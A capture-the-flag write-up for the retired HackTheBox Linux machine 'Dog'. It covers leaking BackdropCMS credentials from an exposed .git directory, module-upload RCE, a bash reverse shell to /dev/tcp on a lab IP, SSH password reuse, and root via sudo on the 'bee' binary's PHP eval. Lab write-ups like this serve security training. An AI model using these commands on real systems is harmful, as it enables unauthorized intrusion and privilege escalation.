← all writeups

Dog

HackTheBox Linux Easy
#htb#linux#git#backdrop-cms#rce#password-reuse#sudo#bee

Retired machine. Credentials and flags redacted - solve it yourself.

Summary

An exposed .git repository leaks BackdropCMS credentials. An authenticated CMS RCE (malicious module upload) lands a www-data shell. The user johncusack reused the CMS password for SSH, and a passwordless sudo on the bee binary (which evaluates PHP) gives root.

Enumeration

nmap -sV -A 10.10.11.58
22/tcp open  ssh
80/tcp open  http

Web enum found /core, /profiles, /webconfig, /admin, and an open .git repository.

Dump it and read the config:

python3 git-dumper.py http://10.10.11.58/.git/ -output
cat settings.php      # DB creds: root / <redacted>

Foothold

nc -lvp 4545
bash -c 'bash -i >& /dev/tcp/10.10.14.22/4545 0>&1'   # shell as www-data

Privilege Escalation

ssh johncusack@10.10.11.58
sudo -l      # (ALL) NOPASSWD: /usr/local/bin/bee
sudo bee --root="/var/www/html/" eval "system('/bin/bash')"
cat /root/root.txt

Lessons Learned